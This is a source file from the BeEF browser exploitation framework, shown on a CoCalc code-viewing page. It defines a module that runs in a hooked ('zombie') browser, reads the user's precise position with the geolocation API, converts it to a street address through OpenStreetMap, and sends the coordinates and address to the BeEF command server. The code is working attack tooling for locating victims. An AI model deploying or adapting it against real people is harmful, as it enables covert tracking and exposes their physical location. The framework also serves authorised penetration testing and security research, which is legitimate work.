Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/core/main/client/geolocation.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
/**
8
* Provides functionalities to use the geolocation API.
9
* @namespace beef.geolocation
10
*/
11
12
beef.geolocation = {
13
14
/**
15
* Check if browser supports the geolocation API
16
* @return {boolean}
17
*/
18
isGeolocationEnabled: function(){
19
return !!navigator.geolocation;
20
},
21
22
/**
23
* Given latitude/longitude retrieves exact street position of the zombie
24
* @param command_url
25
* @param command_id
26
* @param latitude
27
* @param longitude
28
*/
29
getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
30
31
// fixes damned issues with jquery 1.5, like this one:
32
// http://bugs.jquery.com/ticket/8084
33
$j.ajaxSetup({
34
jsonp: null,
35
jsonpCallback: null
36
});
37
38
$j.ajax({
39
error: function(xhr, status, error){
40
beef.debug("[geolocation.js] openstreetmap error");
41
beef.net.send(command_url, command_id, "latitude=" + latitude
42
+ "&longitude=" + longitude
43
+ "&osm=UNAVAILABLE"
44
+ "&geoLocEnabled=True");
45
},
46
success: function(data, status, xhr){
47
beef.debug("[geolocation.js] openstreetmap success");
48
//var jsonResp = $j.parseJSON(data);
49
50
beef.net.send(command_url, command_id, "latitude=" + latitude
51
+ "&longitude=" + longitude
52
// + "&osm=" + encodeURI(jsonResp.display_name)
53
+ "&osm=" + data.display_name
54
+ "&geoLocEnabled=True");
55
},
56
type: "get",
57
dataType: "json",
58
url: "https://nominatim.openstreetmap.org/reverse?format=jsonv2&lat=" +
59
latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
60
});
61
62
},
63
64
/**
65
* Retrieve latitude/longitude using the geolocation API
66
* @param command_url
67
* @param command_id
68
*/
69
getGeolocation: function (command_url, command_id){
70
71
if (!navigator.geolocation) {
72
beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
73
return;
74
}
75
beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
76
navigator.geolocation.getCurrentPosition( //note: this is an async call
77
function(position){ // success
78
var latitude = position.coords.latitude;
79
var longitude = position.coords.longitude;
80
beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
81
beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
82
83
}, function(error){ // failure
84
beef.debug("[geolocation.js] error [%d] getting position", error.code);
85
switch(error.code) // Returns 0-3
86
{
87
case 0:
88
beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
89
return;
90
case 1:
91
beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
92
return;
93
case 2:
94
beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
95
return;
96
case 3:
97
beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
98
return;
99
}
100
beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
101
},
102
{enableHighAccuracy:true, maximumAge:30000, timeout:27000}
103
);
104
}
105
}
106
107
108
beef.regCmp('beef.geolocation');
109
110